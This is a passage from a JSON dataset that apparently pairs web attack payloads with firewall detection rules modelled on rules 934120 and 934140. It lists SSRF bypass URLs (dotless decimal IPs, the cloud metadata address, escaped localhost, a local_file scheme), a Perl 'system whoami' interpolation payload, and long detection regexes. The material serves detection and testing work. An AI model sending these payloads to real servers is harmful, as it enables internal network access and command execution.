"ssrf=http://google.com%3A80%20%26%40google.com%3A80%23%20%40127.88.23.245%3A22%2F" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - URL bypass, domain + IP" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://169。254。169。254/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Enclosed alphanumerics, dots" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://[::]/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv6, the unspecified address" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://\\\\l\\\\o\\\\c\\\\a\\\\l\\\\h\\\\o\\\\s\\\\t/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Glibc NSS features" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://\\\\g\\\\o\\\\o\\\\g\\\\l\\\\e.\\\\c\\\\o\\\\m/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Glibc NSS features" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "----------397236876\nContent-Disposition: form-data; name=\"file\"; filename=\"http://2852039166/?.txt\"\nContent-Type: text/plain\n\nMy epic SSRF attempt\n\n----------397236876--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Input variable coverage test (Dotless decimal)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "http://2852039166/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Input variable coverage test (Dotless decimal)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://2852039166/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Input variable coverage test (Dotless decimal)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "http://2852039166/" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Input variable coverage test (Dotless decimal)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=local_file://2852039166/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - local_file:// url scheme - Dotless decimal" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=@{[system+whoami]}" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:[^@]|@[^\\{])*@+\\{[^\\}]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934140", "test_description": "Perl interpolation attack" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%7b%25%20%69%66%20%54%72%75%65%20%25%7d%34%39%7b%25%20%65%6e%64%69%66%20%25%7d" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", 